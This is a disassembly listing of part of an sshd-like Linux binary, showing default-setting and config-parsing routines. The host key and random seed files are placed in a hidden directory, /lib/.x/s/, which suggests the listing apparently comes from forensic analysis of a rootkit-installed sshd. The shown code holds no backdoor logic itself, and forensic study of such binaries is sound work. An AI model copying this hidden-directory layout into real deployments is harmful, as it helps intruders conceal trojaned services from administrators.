08051118  c7 83 a4 14 00 00 00 00 00 00   movl   $0x0,0x14a4(%ebx)    ;0 'x0 x0 x0 x0' ""
08051122  c7 83 a8 18 00 00 00 00 00 00   movl   $0x0,0x18a8(%ebx)    ;0 'x0 x0 x0 x0' ""
0805112c  c7 83 ac 1c 00 00 00 00 00 00   movl   $0x0,0x1cac(%ebx)    ;0 'x0 x0 x0 x0' ""
08051136  c7 83 88 00 00 00 ff ff ff ff   movl   $0xffffffff,0x88(%ebx)    ;-1 'xff xff xff xff' ""
08051140  c7 43 48 ff ff ff ff       movl   $0xffffffff,0x48(%ebx)    ;-1 'xff xff xff xff' ""
08051147  c7 83 b0 20 00 00 00 00 00 00   movl   $0x0,0x20b0(%ebx)    ;0 'x0 x0 x0 x0' ""
08051151  c7 83 8c 00 00 00 ff ff ff ff   movl   $0xffffffff,0x8c(%ebx)    ;-1 'xff xff xff xff' ""
0805115b  c7 83 b4 20 00 00 ff ff ff ff   movl   $0xffffffff,0x20b4(%ebx)    ;-1 'xff xff xff xff' ""
08051165  c7 83 b8 20 00 00 ff ff ff ff   movl   $0xffffffff,0x20b8(%ebx)    ;-1 'xff xff xff xff' ""
0805116f  8b 5d fc                   mov    0xfffffffc(%ebp),%ebx
08051172  c9                         leave
08051173  c3                         ret


  ;
  ; >---------------------<  Subroutine #  61 >---------------------<
  ;
08051174 <Unknown0061>:
08051174  55                         push   %ebp
08051175  89 e5                      mov    %esp,%ebp
08051177  53                         push   %ebx
08051178  52                         push   %edx
08051179  8b 5d 08                   mov    0x8(%ebp),%ebx
0805117c  83 3b ff                   cmpl   $0xffffffff,(%ebx)
0805117f  75 36                      jne    080511b7 <Unknown0061+0x43>
08051181  83 ec 08                   sub    $0x8,%esp
08051184  68 00 ec 06 08             push   $0x806ec00   ;[in .rodata] 7365492 'x74 x63 x70 x0' "tcp"
08051189  68 04 ec 06 08             push   $0x806ec04   ;[in .rodata] 6845299 'x73 x73 x68 x0' "ssh"
0805118e  e8 c9 8b ff ff             call   08049d5c <getservbyname>
08051193  83 c4 10                   add    $0x10,%esp
08051196  85 c0                      test   %eax,%eax
08051198  74 12                      je     080511ac <Unknown0061+0x38>
0805119a  66 8b 40 08                mov    0x8(%eax),%ax
0805119e  66 c1 c8 08                ror    $0x8,%ax
080511a2  0f b7 c0                   movzwl %ax,%eax
080511a5  89 03                      mov    %eax,(%ebx)
080511a7  eb 09                      jmp    080511b2 <Unknown0061+0x3e>
080511a9  8d 76 00                   lea    0x0(%esi),%esi
080511ac  c7 03 16 00 00 00          movl   $0x16,(%ebx)   ;22 'x16 x0 x0 x0' ""
080511b2  e8 e5 8d ff ff             call   08049f9c <endservent>
080511b7  8b 43 08                   mov    0x8(%ebx),%eax
080511ba  85 c0                      test   %eax,%eax
080511bc  75 07                      jne    080511c5 <Unknown0061+0x51>
080511be  c7 43 08 08 ec 06 08       movl   $0x806ec08,0x8(%ebx)   ;[in .rodata] 1651076143 'x2f x6c x69 x62'
```

/.x/s/ssh_host_key"

```
080511c5  8b 4b 0c              mov    0xc(%ebx),%ecx
080511c8  85 c9                 test   %ecx,%ecx
080511ca  75 07                 jne    080511d3 <Unknown0061+0x5f>
080511cc  c7 43 0c 1f ec 06 08  movl   $0x806ec1f,0xc(%ebx)  ;[in .rodata] 1651076143 'x2f x6c x69 x62'
                                                              "/lib/.x/s/ssh_random_seed"
080511d3  8b 53 10              mov    0x10(%ebx),%edx
080511d6  85 d2                 test   %edx,%edx
080511d8  75 07                 jne    080511e1 <Unknown0061+0x6d>
080511da  c7 43 10 39 ec 06 08  movl   $0x806ec39,0x10(%ebx)  ;[in .rodata] 1918989871 'x2f x76 x61 x72'
                                                               "/var/run/sshd.pid"
080511e1  83 7b 14 ff           cmpl   $0xffffffff,0x14(%ebx)
080511e5  75 07                 jne    080511ee <Unknown0061+0x7a>
080511e7  c7 43 14 00 03 00 00  movl   $0x300,0x14(%ebx)   ;768 'x0 x3 x0 x0' ""
080511ee  83 7b 18 ff           cmpl   $0xffffffff,0x18(%ebx)
080511f2  75 07                 jne    080511fb <Unknown0061+0x87>
080511f4  c7 43 18 58 02 00 00  movl   $0x258,0x18(%ebx)   ;600 'x58 x2 x0 x0' "X"
080511fb  83 7b 1c ff           cmpl   $0xffffffff,0x1c(%ebx)
080511ff  75 07                 jne    08051208 <Unknown0061+0x94>
08051201  c7 43 1c 10 0e 00 00  movl   $0xe10,0x1c(%ebx)   ;3600 'x10 xe x0 x0' ""
08051208  83 7b 20 ff           cmpl   $0xffffffff,0x20(%ebx)
0805120c  75 07                 jne    08051215 <Unknown0061+0xa1>
0805120e  c7 43 20 02 00 00 00  movl   $0x2,0x20(%ebx)    ;2 'x2 x0 x0 x0' ""
08051215  83 7b 24 ff           cmpl   $0xffffffff,0x24(%ebx)
08051219  75 07                 jne    08051222 <Unknown0061+0xae>
0805121b  c7 43 24 00 00 00 00  movl   $0x0,0x24(%ebx)    ;0 'x0 x0 x0 x0' ""
08051222  83 7b 28 ff           cmpl   $0xffffffff,0x28(%ebx)
08051226  75 06                 jne    0805122e <Unknown0061+0xba>
08051228  8b 43 24              mov    0x24(%ebx),%eax
0805122b  89 43 28              mov    %eax,0x28(%ebx)
0805122e  83 7b 2c ff           cmpl   $0xffffffff,0x2c(%ebx)
08051232  75 07                 jne    0805123b <Unknown0061+0xc7>
08051234  c7 43 2c 00 00 00 00  movl   $0x0,0x2c(%ebx)    ;0 'x0 x0 x0 x0' ""
0805123b  83 7b 30 ff           cmpl   $0xffffffff,0x30(%ebx)
0805123f  75 07                 jne    08051248 <Unknown0061+0xd4>
08051241  c7 43 30 01 00 00 00  movl   $0x1,0x30(%ebx)    ;1 'x1 x0 x0 x0' ""
08051248  83 7b 34 ff           cmpl   $0xffffffff,0x34(%ebx)
0805124c  75 07                 jne    08051255 <Unknown0061+0xe1>
0805124e  c7 43 34 01 00 00 00  movl   $0x1,0x34(%ebx)    ;1 'x1 x0 x0 x0' ""
08051255  83 7b 38 ff           cmpl   $0xffffffff,0x38(%ebx)
08051259  75 07                 jne    08051262 <Unknown0061+0xee>
0805125b  c7 43 38 01 00 00 00  movl   $0x1,0x38(%ebx)    ;1 'x1 x0 x0 x0' ""
08051262  83 7b 3c ff           cmpl   $0xffffffff,0x3c(%ebx)
08051266  75 07                 jne    0805126f <Unknown0061+0xfb>
08051268  c7 43 3c 01 00 00 00  movl   $0x1,0x3c(%ebx)    ;1 'x1 x0 x0 x0' ""
0805126f  83 7b 40 ff           cmpl   $0xffffffff,0x40(%ebx)
08051273  75 07                 jne    0805127c <Unknown0061+0x108>
08051275  c7 43 40 01 00 00 00  movl   $0x1,0x40(%ebx)    ;1 'x1 x0 x0 x0' ""
0805127c  83 7b 44 ff           cmpl   $0xffffffff,0x44(%ebx)
08051280  75 07                 jne    08051289 <Unknown0061+0x115>
08051282  c7 43 44 01 00 00 00  movl   $0x1,0x44(%ebx)    ;1 'x1 x0 x0 x0' ""
08051289  83 7b 4c ff           cmpl   $0xffffffff,0x4c(%ebx)
0805128d  75 07                 jne    08051296 <Unknown0061+0x122>
0805128f  c7 43 4c 00 00 00 00  movl   $0x0,0x4c(%ebx)    ;0 'x0 x0 x0 x0' ""
08051296  83 7b 50 ff           cmpl   $0xffffffff,0x50(%ebx)
0805129a  75 07                 jne    080512a3 <Unknown0061+0x12f>
0805129c  c7 43 50 00 00 00 00  movl   $0x0,0x50(%ebx)    ;0 'x0 x0 x0 x0' ""
080512a3  83 7b 54 ff           cmpl   $0xffffffff,0x54(%ebx)
080512a7  75 07                 jne    080512b0 <Unknown0061+0x13c>
080512a9  c7 43 54 01 00 00 00  movl   $0x1,0x54(%ebx)    ;1 'x1 x0 x0 x0' ""
080512b0  83 7b 58 ff           cmpl   $0xffffffff,0x58(%ebx)
080512b4  75 07                 jne    080512bd <Unknown0061+0x149>
080512b6  c7 43 58 01 00 00 00  movl   $0x1,0x58(%ebx)    ;1 'x1 x0 x0 x0' ""
080512bd  83 7b 5c ff           cmpl   $0xffffffff,0x5c(%ebx)
080512c1  75 07                 jne    080512ca <Unknown0061+0x156>
080512c3  c7 43 5c 00 00 00 00  movl   $0x0,0x5c(%ebx)    ;0 'x0 x0 x0 x0' ""
080512ca  83 7b 60 ff           cmpl   $0xffffffff,0x60(%ebx)
080512ce  75 07                 jne    080512d7 <Unknown0061+0x163>
080512d0  c7 43 60 00 00 00 00  movl   $0x0,0x60(%ebx)    ;0 'x0 x0 x0 x0' ""
080512d7  83 7b 64 ff           cmpl   $0xffffffff,0x64(%ebx)
080512db  75 07                 jne    080512e4 <Unknown0061+0x170>
080512dd  c7 43 64 00 00 00 00  movl   $0x0,0x64(%ebx)    ;0 'x0 x0 x0 x0' ""
080512e4  83 7b 68 ff           cmpl   $0xffffffff,0x68(%ebx)
080512e8  75 07                 jne    080512f1 <Unknown0061+0x17d>
080512ea  c7 43 68 01 00 00 00  movl   $0x1,0x68(%ebx)    ;1 'x1 x0 x0 x0' ""
```

```
080512f1  83 7b 6c ff                cmpl    $0xffffffff,0x6c(%ebx)
080512f5  75 07                      jne     080512fe <Unknown0061+0x18a>
080512f7  c7 43 6c 00 00 00 00       movl    $0x0,0x6c(%ebx)     ;0 'x0 x0 x0 x0' ""
080512fe  83 7b 70 ff                cmpl    $0xffffffff,0x70(%ebx)
08051302  75 07                      jne     0805130b <Unknown0061+0x197>
08051304  c7 43 70 01 00 00 00       movl    $0x1,0x70(%ebx)     ;1 'x1 x0 x0 x0' ""
0805130b  83 7b 74 ff                cmpl    $0xffffffff,0x74(%ebx)
0805130f  75 07                      jne     08051318 <Unknown0061+0x1a4>
08051311  c7 43 74 01 00 00 00       movl    $0x1,0x74(%ebx)     ;1 'x1 x0 x0 x0' ""
08051318  83 7b 78 ff                cmpl    $0xffffffff,0x78(%ebx)
0805131c  75 07                      jne     08051325 <Unknown0061+0x1b1>
0805131e  c7 43 78 00 00 00 00       movl    $0x0,0x78(%ebx)     ;0 'x0 x0 x0 x0' ""
08051325  83 7b 7c ff                cmpl    $0xffffffff,0x7c(%ebx)
08051329  75 07                      jne     08051332 <Unknown0061+0x1be>
0805132b  c7 43 7c 00 00 00 00       movl    $0x0,0x7c(%ebx)     ;0 'x0 x0 x0 x0' ""
08051332  83 bb 84 00 00 00 ff       cmpl    $0xffffffff,0x84(%ebx)   ;132 'x84 x0 x0 x0' ""
08051339  75 0a                      jne     08051345 <Unknown0061+0x1d1>
0805133b  c7 83 84 00 00 00 01 00 00 00   movl   $0x1,0x84(%ebx)   ;1 'x1 x0 x0 x0' ""
08051345  83 bb 80 00 00 00 ff       cmpl    $0xffffffff,0x80(%ebx)   ;128 'x80 x0 x0 x0' ""
0805134c  75 0a                      jne     08051358 <Unknown0061+0x1e4>
0805134e  c7 83 80 00 00 00 00 00 00 00   movl   $0x0,0x80(%ebx)   ;0 'x0 x0 x0 x0' ""
08051358  83 7b 48 ff                cmpl    $0xffffffff,0x48(%ebx)
0805135c  75 07                      jne     08051365 <Unknown0061+0x1f1>
0805135e  c7 43 48 00 00 00 00       movl    $0x0,0x48(%ebx)     ;0 'x0 x0 x0 x0' ""
08051365  83 bb 8c 00 00 00 ff       cmpl    $0xffffffff,0x8c(%ebx)   ;140 'x8c x0 x0 x0' ""
0805136c  75 0a                      jne     08051378 <Unknown0061+0x204>
0805136e  c7 83 8c 00 00 00 01 00 00 00   movl   $0x1,0x8c(%ebx)   ;1 'x1 x0 x0 x0' ""
08051378  8b 83 b0 20 00 00          mov     0x20b0(%ebx),%eax   ;8368 'xb0 x20 x0 x0' ""
0805137e  85 c0                      test    %eax,%eax
08051380  75 0a                      jne     0805138c <Unknown0061+0x218>
08051382  c7 83 b0 20 00 00 4b ec 06 08   movl   $0x806ec4b,0x20b0(%ebx)   ;[in .rodata] 1920169263 'x2f x75
                                                                            x73 x72' "/usr/X11R6/bin/xauth"
0805138c  83 bb b4 20 00 00 ff       cmpl    $0xffffffff,0x20b4(%ebx)   ;8372 'xb4 x20 x0 x0' ""
08051393  75 0a                      jne     0805139f <Unknown0061+0x22b>
08051395  c7 83 b4 20 00 00 0e 00 00 00   movl   $0xe,0x20b4(%ebx)   ;14 'xe x0 x0 x0' ""
0805139f  83 bb b8 20 00 00 ff       cmpl    $0xffffffff,0x20b8(%ebx)   ;8376 'xb8 x20 x0 x0' ""
080513a6  75 0a                      jne     080513b2 <Unknown0061+0x23e>
080513a8  c7 83 b8 20 00 00 0e 00 00 00   movl   $0xe,0x20b8(%ebx)   ;14 'xe x0 x0 x0' ""
080513b2  8b 5d fc                   mov     0xfffffffc(%ebp),%ebx
080513b5  c9                         leave
080513b6  c3                         ret
080513b7  90                         nop


   ;
   ; >---------------------<  Subroutine #  62 >---------------------<
   ;
080513b8 <Unknown0062>:
080513b8  55                         push    %ebp
080513b9  89 e5                      mov     %esp,%ebp
080513bb  57                         push    %edi
080513bc  56                         push    %esi
080513bd  53                         push    %ebx
080513be  83 ec 0c                   sub     $0xc,%esp
080513c1  8b 45 0c                   mov     0xc(%ebp),%eax
080513c4  89 45 f0                   mov     %eax,0xfffffff0(%ebp)
080513c7  8b 45 10                   mov     0x10(%ebp),%eax
080513ca  89 45 ec                   mov     %eax,0xffffffec(%ebp)
080513cd  8b 1d 18 7c 07 08          mov     0x8077c18,%ebx   ;[in .data] 134672151 'x17 xef x6 x8' ""
080513d3  85 db                      test    %ebx,%ebx
080513d5  8b 7d 08                   mov     0x8(%ebp),%edi
080513d8  74 27                      je      08051401 <Unknown0062+0x49>
080513da  31 f6                      xor     %esi,%esi
080513dc  83 ec 08                   sub     $0x8,%esp
080513df  89 f3                      mov     %esi,%ebx
080513e1  ff b3 18 7c 07 08          pushl   0x8077c18(%ebx)   ;[in .data] 134672151 'x17 xef x6 x8' ""
080513e7  57                         push    %edi
080513e8  e8 df 88 ff ff             call    08049ccc <strcmp>
080513ed  83 c4 10                   add     $0x10,%esp
080513f0  85 c0                      test    %eax,%eax
080513f2  74 40                      je      08051434 <Unknown0062+0x7c>
080513f4  8d 73 08                   lea     0x8(%ebx),%esi
080513f7  8b 8e 18 7c 07 08          mov     0x8077c18(%esi),%ecx   ;[in .data] 134672151 'x17 xef x6 x8' ""
080513fd  85 c9                      test    %ecx,%ecx
080513ff  75 db                      jne     080513dc <Unknown0062+0x24>
08051401  83 ec 0c                   sub     $0xc,%esp
08051404  57                         push    %edi
08051405  ff 75 ec                   pushl   0xffffffec(%ebp)
08051408  ff 75 f0                   pushl   0xfffffff0(%ebp)
0805140b  68 80 ef 06 08             push    $0x806ef80   ;[in .rodata] 1814065957 'x25 x73 x20 x6c' "%s line %d:
                                                            Bad configuration option: %s"
08051410  ff 35 0c 9c 07 08          pushl   0x8079c0c   ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                          (Red Hat Linux 7.1 2.96-79)"
08051416  e8 e1 88 ff ff             call    08049cfc <fprintf>
```

```
0805141b  83 c4 20              add     $0x20,%esp
0805141e  c7 45 08 01 00 00 00  movl    $0x1,0x8(%ebp)   ;1 'x1 x0 x0 x0' ""
08051425  8d 65 f4              lea     0xfffffff4(%ebp),%esp
08051428  5b                    pop     %ebx
08051429  5e                    pop     %esi
0805142a  5f                    pop     %edi
0805142b  5d                    pop     %ebp
0805142c  e9 1b 8f ff ff        jmp     0804a34c <exit>   ;-28901 'x1b x8f xff xff' ""
08051431  8d 76 00              lea     0x0(%esi),%esi
08051434  8d 65 f4              lea     0xfffffff4(%ebp),%esp
08051437  5b                    pop     %ebx
08051438  8b 86 1c 7c 07 08     mov     0x8077c1c(%esi),%eax   ;[in .data] 0 'x0 x0 x0 x0' ""
0805143e  5e                    pop     %esi
0805143f  5f                    pop     %edi
08051440  5d                    pop     %ebp
08051441  c3                    ret
08051442  89 f6                 mov     %esi,%esi


  ;
  ; >---------------------<  Subroutine #  63 >---------------------<
  ;
08051444 <Unknown0063>:
08051444  55                    push    %ebp
08051445  89 e5                 mov     %esp,%ebp
08051447  57                    push    %edi
08051448  56                    push    %esi
08051449  53                    push    %ebx
0805144a  81 ec 34 04 00 00     sub     $0x434,%esp   ;1076 'x34 x4 x0 x0' "4"
08051450  68 aa ef 06 08        push    $0x806efaa   ;[in .rodata] 153092210 'x72 x0 x20 x9' "r"
08051455  ff 75 0c              pushl   0xc(%ebp)
08051458  e8 7f 8f ff ff        call    0804a3dc <fopen>
0805145d  83 c4 10              add     $0x10,%esp
08051460  85 c0                 test    %eax,%eax
08051462  89 85 e4 fb ff ff     mov     %eax,0xfffffbe4(%ebp)   ;-1052 'xe4 xfb xff xff' ""
08051468  75 12                 jne     0805147c <Unknown0063+0x38>
0805146a  83 ec 0c              sub     $0xc,%esp
0805146d  ff 75 0c              pushl   0xc(%ebp)
08051470  e8 77 88 ff ff        call    08049cec <perror>
08051475  e9 fb 0c 00 00        jmp     08052175 <Unknown0063+0xd31>   ;3323 'xfb xc x0 x0' ""
0805147a  89 f6                 mov     %esi,%esi
0805147c  c7 85 e0 fb ff ff 00 00 00 00  movl    $0x0,0xfffffbe0(%ebp)   ;0 'x0 x0 x0 x0' ""
08051486  e9 b9 0c 00 00        jmp     08052144 <Unknown0063+0xd00>   ;3257 'xb9 xc x0 x0' ""
0805148b  90                    nop
0805148c  ff 85 e0 fb ff ff     incl    0xfffffbe0(%ebp)   ;-1056 'xe0 xfb xff xff' ""
08051492  83 ec 08              sub     $0x8,%esp
08051495  68 ac ef 06 08        push    $0x806efac   ;[in .rodata] 168626464 'x20 x9 xd xa' " "
0805149a  53                    push    %ebx
0805149b  e8 8c 8e ff ff        call    0804a32c <strspn>
080514a0  01 c3                 add     %eax,%ebx
080514a2  8a 03                 mov     (%ebx),%al
080514a4  83 c4 10              add     $0x10,%esp
080514a7  84 c0                 test    %al,%al
080514a9  0f 84 95 0c 00 00     je      08052144 <Unknown0063+0xd00>   ;3221 'x95 xc x0 x0' ""
080514af  3c 23                 cmp     $0x23,%al
080514b1  0f 84 8d 0c 00 00     je      08052144 <Unknown0063+0xd00>   ;3213 'x8d xc x0 x0' ""
080514b7  83 ec 08              sub     $0x8,%esp
080514ba  68 ac ef 06 08        push    $0x806efac   ;[in .rodata] 168626464 'x20 x9 xd xa' " "
080514bf  53                    push    %ebx
080514c0  e8 47 8f ff ff        call    0804a40c <strtok>
080514c5  89 c3                 mov     %eax,%ebx
080514c7  31 f6                 xor     %esi,%esi
080514c9  83 c4 10              add     $0x10,%esp
080514cc  80 3b 00              cmpb    $0x0,(%ebx)
080514cf  74 1a                 je      080514eb <Unknown0063+0xa7>
080514d1  8d 76 00              lea     0x0(%esi),%esi
080514d4  0f be 04 1e           movsbl  (%esi,%ebx,1),%eax
080514d8  8b 15 00 9c 07 08     mov     0x8079c00,%edx   ;[in .bss] 1128482560 'x0 x47 x43 x43' ""
080514de  8b 04 82              mov     (%edx,%eax,4),%eax
080514e1  88 04 1e              mov     %al,(%esi,%ebx,1)
080514e4  46                    inc     %esi
080514e5  80 3c 1e 00           cmpb    $0x0,(%esi,%ebx,1)
080514e9  75 e9                 jne     080514d4 <Unknown0063+0x90>
080514eb  52                    push    %edx
080514ec  ff b5 e0 fb ff ff     pushl   0xfffffbe0(%ebp)   ;-1056 'xe0 xfb xff xff' ""
080514f2  ff 75 0c              pushl   0xc(%ebp)
080514f5  53                    push    %ebx
080514f6  e8 bd fe ff ff        call    080513b8 <Unknown0062>
080514fb  83 c4 10              add     $0x10,%esp
080514fe  83 f8 2e              cmp     $0x2e,%eax
08051501  0f 87 d9 0b 00 00     ja      080520e0 <Unknown0063+0xc9c>   ;3033 'xd9 xb x0 x0' ""
08051507  ff 24 85 30 f4 06 08  jmp     *0x806f430(,%eax,4)   ;[in .rodata] 134550800 'x10 x15 x5 x8' ""
0805150e  89 f6                 mov     %esi,%esi
08051510  8b 45 08              mov     0x8(%ebp),%eax
```

```
08051513   89 85 d4 fb ff ff     mov      %eax,0xffffffbd4(%ebp)   ;-1068 'xd4 xfb xff xff' ""
08051519   83 ec 08              sub      $0x8,%esp
0805151c   68 ac ef 06 08        push     $0x806efac   ;[in .rodata] 168626464 'x20 x9 xd xa' " "
08051521   6a 00                 push     $0x0
08051523   e8 e4 8e ff ff        call     0804a40c <strtok>
08051528   89 c3                 mov      %eax,%ebx
0805152a   83 c4 10              add      $0x10,%esp
0805152d   85 db                 test     %ebx,%ebx
0805152f   75 27                 jne      08051558 <Unknown0063+0x114>
08051531   ff b5 e0 fb ff ff     pushl    0xffffffbe0(%ebp)   ;-1056 'xe0 xfb xff xff' ""
08051537   ff 75 0c              pushl    0xc(%ebp)
0805153a   68 c0 ef 06 08        push     $0x806efc0   ;[in .rodata] 1814065957 'x25 x73 x20 x6c' "%s line %d:
                                                                   missing integer value."
0805153f   ff 35 0c 9c 07 08     pushl    0x8079c0c    ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                                   (Red Hat Linux 7.1 2.96-79)"
08051545   e8 b2 87 ff ff        call     08049cfc <fprintf>
0805154a   c7 04 24 01 00 00 00  movl     $0x1,(%esp,1)   ;1 'x1 x0 x0 x0' ""
08051551   e8 f6 8d ff ff        call     0804a34c <exit>
08051556   89 f6                 mov      %esi,%esi
08051558   80 3b 30              cmpb     $0x30,(%ebx)
0805155b   0f 85 a7 00 00 00     jne      08051608 <Unknown0063+0x1c4>   ;167 'xa7 x0 x0 x0' ""
08051561   43                    inc      %ebx
08051562   80 3b 78              cmpb     $0x78,(%ebx)
08051565   75 0d                 jne      08051574 <Unknown0063+0x130>
08051567   43                    inc      %ebx
08051568   c7 85 dc fb ff ff 10 00 00 00  movl  $0x10,0xffffffbdc(%ebp)   ;16 'x10 x0 x0 x0' ""
08051572   eb 0a                 jmp      0805157e <Unknown0063+0x13a>
08051574   c7 85 dc fb ff ff 08 00 00 00  movl  $0x8,0xffffffbdc(%ebp)   ;8 'x8 x0 x0 x0' ""
0805157e   a1 10 9c 07 08        mov      0x8079c10,%eax   ;[in .bss] 808464928 'x20 x32 x30 x30' " 20000731
                                                                   (Red Hat Linux 7.1 2.96-79)"
08051583   31 f6                 xor      %esi,%esi
08051585   89 85 d8 fb ff ff     mov      %eax,0xffffffbd8(%ebp)   ;-1064 'xd8 xfb xff xff' ""
0805158b   eb 30                 jmp      080515bd <Unknown0063+0x179>
0805158d   8d 76 00              lea      0x0(%esi),%esi
08051590   8a 0b                 mov      (%ebx),%cl
08051592   8d 41 9f              lea      0xffffff9f(%ecx),%eax
08051595   0f af b5 dc fb ff ff  imul     0xffffffbdc(%ebp),%esi   ;-1060 'xdc xfb xff xff' ""
0805159c   3c 05                 cmp      $0x5,%al
0805159e   77 08                 ja       080515a8 <Unknown0063+0x164>
080515a0   8d 74 32 a9           lea      0xffffffa9(%edx,%esi,1),%esi
080515a4   eb 16                 jmp      080515bc <Unknown0063+0x178>
080515a6   89 f6                 mov      %esi,%esi
080515a8   8d 41 bf              lea      0xffffffbf(%ecx),%eax
080515ab   3c 05                 cmp      $0x5,%al
080515ad   77 09                 ja       080515b8 <Unknown0063+0x174>
080515af   8d 74 32 c9           lea      0xffffffc9(%edx,%esi,1),%esi
080515b3   eb 07                 jmp      080515bc <Unknown0063+0x178>
080515b5   8d 76 00              lea      0x0(%esi),%esi
080515b8   8d 74 32 d0           lea      0xffffffd0(%edx,%esi,1),%esi
080515bc   43                    inc      %ebx
080515bd   83 bd dc fb ff ff 10  cmpl     $0x10,0xffffffbdc(%ebp)   ;-1060 'xdc xfb xff xff' ""
080515c4   75 10                 jne      080515d6 <Unknown0063+0x192>
080515c6   0f be 13              movsbl   (%ebx),%edx
080515c9   8b 8d d8 fb ff ff     mov      0xffffffbd8(%ebp),%ecx   ;-1064 'xd8 xfb xff xff' ""
080515cf   f6 44 51 01 10        testb    $0x10,0x1(%ecx,%edx,2)
080515d4   75 ba                 jne      08051590 <Unknown0063+0x14c>
080515d6   83 bd dc fb ff ff 08  cmpl     $0x8,0xffffffbdc(%ebp)   ;-1060 'xdc xfb xff xff' ""
080515dd   0f 85 51 03 00 00     jne      08051934 <Unknown0063+0x4f0>   ;849 'x51 x3 x0 x0' "Q"
080515e3   0f be 13              movsbl   (%ebx),%edx
080515e6   8b bd d8 fb ff ff     mov      0xffffffbd8(%ebp),%edi   ;-1064 'xd8 xfb xff xff' ""
080515ec   f6 44 57 01 08        testb    $0x8,0x1(%edi,%edx,2)
080515f1   0f 84 3d 03 00 00     je       08051934 <Unknown0063+0x4f0>   ;829 'x3d x3 x0 x0' "="
080515f7   8a 03                 mov      (%ebx),%al
080515f9   88 c1                 mov      %al,%cl
080515fb   80 f9 37              cmp      $0x37,%cl
080515fe   7e 92                 jle      08051592 <Unknown0063+0x14e>
08051600   e9 2f 03 00 00        jmp      08051934 <Unknown0063+0x4f0>   ;815 'x2f x3 x0 x0' "/"
08051605   8d 76 00              lea      0x0(%esi),%esi
08051608   6a 00                 push     $0x0
0805160a   6a 0a                 push     $0xa
0805160c   6a 00                 push     $0x0
0805160e   53                    push     %ebx
0805160f   e8 e8 8a ff ff        call     0804a0fc <__strtol_internal>
08051614   83 c4 10              add      $0x10,%esp
08051617   89 c6                 mov      %eax,%esi
08051619   e9 16 03 00 00        jmp      08051934 <Unknown0063+0x4f0>   ;790 'x16 x3 x0 x0' ""
0805161e   89 f6                 mov      %esi,%esi
08051620   8b 55 08              mov      0x8(%ebp),%edx
08051623   83 c2 14              add      $0x14,%edx
08051626   89 95 d4 fb ff ff     mov      %edx,0xffffffbd4(%ebp)   ;-1068 'xd4 xfb xff xff' ""
0805162c   e9 e8 fe ff ff        jmp      08051519 <Unknown0063+0xd5>   ;-280 'xe8 xfe xff xff' ""
08051631   8d 76 00              lea      0x0(%esi),%esi
08051634   8b 4d 08              mov      0x8(%ebp),%ecx
08051637   83 c1 18              add      $0x18,%ecx
```

```
0805163a   89 8d d4 fb ff ff    mov      %ecx,0xfffffbd4(%ebp)   ;-1068 'xd4 xfb xff xff' ""
08051640   e9 d4 fe ff ff       jmp      08051519 <Unknown0063+0xd5>  ;-300 'xd4 xfe xff xff' ""
08051645   8d 76 00             lea      0x0(%esi),%esi
08051648   8b 7d 08             mov      0x8(%ebp),%edi
0805164b   83 c7 1c             add      $0x1c,%edi
0805164e   89 bd d4 fb ff ff    mov      %edi,0xfffffbd4(%ebp)   ;-1068 'xd4 xfb xff xff' ""
08051654   e9 c0 fe ff ff       jmp      08051519 <Unknown0063+0xd5>  ;-320 'xc0 xfe xff xff' ""
08051659   8d 76 00             lea      0x0(%esi),%esi
0805165c   83 ec 08             sub      $0x8,%esp
0805165f   68 ac ef 06 08       push     $0x806efac   ;[in .rodata] 168626464 'x20 x9 xd xa' " "
08051664   6a 00                push     $0x0
08051666   e8 a1 8d ff ff       call     0804a40c <strtok>
0805166b   89 c3                mov      %eax,%ebx
0805166d   83 c4 10             add      $0x10,%esp
08051670   85 db                test     %ebx,%ebx
08051672   75 28                jne      0805169c <Unknown0063+0x258>
08051674   ff b5 e0 fb ff ff    pushl    0xfffffbe0(%ebp)   ;-1056 'xe0 xfb xff xff' ""
0805167a   ff 75 0c             pushl    0xc(%ebp)
0805167d   68 00 f0 06 08       push     $0x806f000   ;[in .rodata] 1814065957 'x25 x73 x20 x6c' "%s line %d:
                                                                    missing inet addr."
08051682   ff 35 0c 9c 07 08    pushl    0x8079c0c   ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                                    (Red Hat Linux 7.1 2.96-79)"
08051688   e8 6f 86 ff ff       call     08049cfc <fprintf>
0805168d   c7 04 24 01 00 00 00 movl     $0x1,(%esp,1)   ;1 'x1 x0 x0 x0' ""
08051694   e8 b3 8c ff ff       call     0804a34c <exit>
08051699   8d 76 00             lea      0x0(%esi),%esi
0805169c   83 ec 0c             sub      $0xc,%esp
0805169f   53                   push     %ebx
080516a0   e8 a7 8a ff ff       call     0804a14c <inet_addr>
080516a5   8b 55 08             mov      0x8(%ebp),%edx
080516a8   89 42 04             mov      %eax,0x4(%edx)
080516ab   83 c4 10             add      $0x10,%esp
080516ae   e9 55 0a 00 00       jmp      08052108 <Unknown0063+0xcc4>  ;2645 'x55 xa x0 x0' "U"
080516b3   90                   nop
080516b4   8b 75 08             mov      0x8(%ebp),%esi
080516b7   83 c6 08             add      $0x8,%esi
080516ba   83 ec 08             sub      $0x8,%esp
080516bd   68 ac ef 06 08       push     $0x806efac   ;[in .rodata] 168626464 'x20 x9 xd xa' " "
080516c2   6a 00                push     $0x0
080516c4   e8 43 8d ff ff       call     0804a40c <strtok>
080516c9   89 c3                mov      %eax,%ebx
080516cb   83 c4 10             add      $0x10,%esp
080516ce   85 db                test     %ebx,%ebx
080516d0   75 26                jne      080516f8 <Unknown0063+0x2b4>
080516d2   ff b5 e0 fb ff ff    pushl    0xfffffbe0(%ebp)   ;-1056 'xe0 xfb xff xff' ""
080516d8   ff 75 0c             pushl    0xc(%ebp)
080516db   68 20 f0 06 08       push     $0x806f020   ;[in .rodata] 1814065957 'x25 x73 x20 x6c' "%s line %d:
                                                                    missing file name."
080516e0   ff 35 0c 9c 07 08    pushl    0x8079c0c   ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                                    (Red Hat Linux 7.1 2.96-79)"
080516e6   e8 11 86 ff ff       call     08049cfc <fprintf>
080516eb   c7 04 24 01 00 00 00 movl     $0x1,(%esp,1)   ;1 'x1 x0 x0 x0' ""
080516f2   e8 55 8c ff ff       call     0804a34c <exit>
080516f7   90                   nop
080516f8   8b 06                mov      (%esi),%eax
080516fa   85 c0                test     %eax,%eax
080516fc   0f 85 06 0a 00 00    jne      08052108 <Unknown0063+0xcc4>  ;2566 'x6 xa x0 x0' ""
08051702   83 ec 10             sub      $0x10,%esp
